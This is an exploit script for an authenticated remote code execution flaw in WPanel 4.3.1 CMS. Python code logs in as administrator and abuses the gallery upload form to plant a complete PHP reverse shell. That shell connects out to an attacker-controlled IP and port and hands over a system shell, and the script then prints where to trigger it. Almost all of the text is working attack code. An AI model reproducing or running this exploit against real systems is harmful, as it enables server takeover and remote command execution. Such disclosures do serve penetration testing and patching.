WPanel version 4.3.1 authenticated remote code execution exploit.
98f907af7b13f3c7d59def1f5f35ac5d# Exploit Title: WPanel 4.3.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 07/06/2021
# Exploit Author: Sentinal920
# Vendor Homepage: https://github.com/wpanel
# Software Link: https://github.com/wpanel/wpanel4-cms
# Version: 4.3.1
# Tested on: Linux
import requests
import random,string
# Change This
###################################
url = 'http://192.168.182.134:8080'
email = '[email protected]'
password = 'admin'
###################################
# PHP reverse shell used: https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/php_reverse_shell.php
# Works on linux/windows/mac
###########################################################################
# Make sure to change lhost and lport in the reverse shell below (Line 223)
###########################################################################
# Get_Cookies
r = requests.get(url)
r2 = requests.get(url,cookies=r.cookies)
cookie = r2.cookies['wpanel_csrf_cookie']
name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(9))
payload = '''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="wpanel_csrf_token"
'''+cookie+'''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="titulo"
'''+name+'''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="descricao"
'''+name+'''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="tags"
tesad
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="userfile"; filename="php-reverse-shell.php"
Content-Type: application/x-php
<?php
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $options = array(); // proc_open() options
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
$this->options['bypass_shell'] = true; // we do not want a shell within a shell
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$size = fstat($input)['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
@fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n");
do {
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.182.136', 9000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="status"
1
-----------------------------45668787242378192391383974033--
'''
data = 'wpanel_csrf_token='+cookie+'&email='+email+'&password='+password
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
# Login_as_admin
r3 = requests.post(url+'/index.php/admin/login',cookies=r.cookies,headers=headers,data=data)
def exploit_gallery():
# Adding_Reverse_Shell
headers2 = {'Content-Type': 'multipart/form-data; boundary=---------------------------45668787242378192391383974033'}
r4 = requests.post(url + '/index.php/admin/galleries/add',cookies=r.cookies,headers=headers2,data=payload)
print('')
print('Shell Uploaded as: '+name)
print('')
print('Visit: '+url+'/index.php/admin/galleries')
print('OR')
print('Visit: '+url+'/index.php/galleries')
print('')
exploit_gallery()
#def exploit_post():
#def exloit_pages():
#def dashboard_avatar_image():